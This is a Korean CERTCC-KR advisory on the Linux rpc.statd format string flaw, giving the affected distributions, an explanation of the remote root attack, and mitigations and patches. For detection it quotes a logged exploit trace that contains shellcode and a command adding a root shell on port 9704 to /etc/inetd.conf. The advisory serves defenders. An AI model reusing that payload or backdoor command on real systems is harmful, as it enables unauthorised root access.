CERTCC-KR 권고문: KA-2000-30
리눅스 rpc.statd 의 input format string 취약점
================
최초작성일 : 2000/09/01
갱신일 : 2000/09/15
출처 : Bugtraq mailing list, Sun Jul 16 2000 20:45:10
by Daniel Jacobowitz <drow at false.org>
CERT(R) Advisory CA-2000-17
-- 제목 --------------
리눅스 rpc.statd 의 input format string 취약점
-- 해당 시스템 -------
rpc.statd가 설치되어 있는
Connectiva Linux 5.1 이전 버전,
Debian Linux 2.2, 2.3 (i386, sparc, powerpc, alpha)
RedHat Linux 6.x (i386, sparc, alpha)
S.u.S.E. Linux 7.0 이전 버전
( IRIX, Solaris, HPUX, FreeBSD는 이 권고문에서 언급하는 취약점은 없음)
-- 설명---------------
/usr/sbin/rpc.statd은 주로 reboot와 관련된 Network Status 모니터링을 위해서
RPC 프로토콜로 구현된 RPC utility로서 NFS lock recovery를 수행할때 NFS file
locking 서비스에 의해 사용되는 프로그램이다.
이는 NFS (Network File System) 아키텍쳐를 구성하는 하나의 요소이며,
NFS는 거의 대부분의 유닉스(리눅스)시스템에 구현되어 있다.
그런데 rpc.statd 은 수행되면서 클라이언트쪽에서 온 format string을
서버내의 syslog()함수에 전달하게 되는데,
이 과정에서 적절한 input validation이 없다는 점이 문제된다.
따라서 악의적인 remote client사용자는
rpc.statd의 어느 함수의 return address를 변조함으로써
임의의 실행코드를 rpc.statd가 실행되는 권한에 해당되는 권한으로
rpc.statd 서버쪽에서 실행시킬 수 있다.
또한 rpc.statd가 실행되기 위해서는 network socket의 open을 해야되는데
이러기 위해서는 보통 root로 실행되고 있다.
# ps -auxww | grep rpc.statd
root 403 0.0 2.1 1384 672 ? S Jun27 0:00 rpc.statd
따라서, 외부에서 remote attack을 통해서 직접 root권한을 획득할 수 있게 된다.
이 공격방법에서는 공격에 필요한 어떤 특정한 함수를 사용하기 위해서
악성 데이터들이 buffer영역을 넘치게끔 하지는 않고 다른 간접적인 방법을 사용하여
return address를 덮어씌우기 때문에 본래 엄밀한 의미의 버퍼오버플로우 공격은
아니지만 그 효과에서는 매우 비슷하다.
현재 이 취약점을 악용하여 리눅스 시스템을 공격할 수 있는 exploit 코드가
인터넷 상에 다수 공개되어 있으며,
이러한 exploit 툴에 의해 공격을 받았을 경우
/var/log/messages파일에는 다음과 같은 흔적이 남기도 한다.
Aug 31 10:43:21 linux18.certcc.or.kr rpc.statd[410]: SM_MON request for
hostname containing '/': ^D^D^E^E^F ^F^G^G08049f10 bffff754 000028f8 4d5f4d53
72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63
696e6961 2720676e 203a272f
00000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000
000bffff70400000000000000000000000000000000000000000000000bffff7050000bffff70
60000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000bffff707<90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90>K^<89>v<83><8D>^(<83> <89>^<83> <8D>^.<83> <83> <83>#<89>^1<83><88>F'
<88>F*<83> <88>F<89>F+,<89><8D>N<8D>V<80>1<89>@<80>
/bin/sh -c echo 9704 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;
killall -HUP inetd
이 공격의 영향으로 9704번 포트로 root shell이 열리게 된다.
이 버그는 위에서 언급한 리눅스 시스템들에게 대단히 치명적이며
즉시 아래의 조치를 취해야 함을 권고한다.
-- 해결책 ------------
1. NFS를 사용하지 않는 방법
가장 간단한 방법으로 파일 시스템이 특별히 부족하지 않는 한
NFS를 사용하지 않는 방법이 있다.
# chkconfig --level 0123456 nfs off 또는
/etc/rc.d/rc3.d/S60nfs
/etc/rc.d/rc4.d/S60nfs
/etc/rc.d/rc5.d/S60nfs 의 대문자 S를 소문자 s로 바꾸면 된다. (리부팅 필요)
2. rpc.statd를 사용 금지
NFS를 계속 사용하더라도 rpc.statd를 사용하지 않는 방법도 있다.
하지만 이 경우엔 NFS가 정상적으로 동작하지 않을 수 있다.
/usr/sbin/rpc.statd 를 제거하거나(or 파일이름을 변경해 놓거나)
/etc/rc.d/init.d/nfs 파일에서
daemon rpc.statd 라인앞에 #을 붙여 comment out 시키면 된다. (리부팅 필요)
3. 라우터나 firewall에서의 패킷 필터링
취약점을 직접 제거하는 대책은 아니지만
라우터나 firewall에서 111/tcp 포트와 rpc.statd 포트(가변포트)로 들어오는
패킷을 차단하면 적어도 외부네트웍으로부터의 공격은 라우터나 firewall에서
막을 수 있다.
4. rpc.statd 패치설치
rpc.statd를 사용하기 위해서는
각 vendor별로 다음의 URL에서 패치를 받아 설치하면 된다.
Connectiva Linux 5.1 이전 버전,
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/ Debian 리눅스
http://www.debian.org/security/2000/20000719a RedHat 리눅스 (국내 리눅스업체의 배포판은 대부분 RedH
at 호환임) http://www.redhat.com/support/errata/RHSA-2000-043-03.html == 기타 ==============
첨부원문
A15951 at drow.them.org" TARGET="_blank">http://www.securityfocus.com/templates/archive.pike?list=1&msg=20000716194510.A159
51 at drow.them.org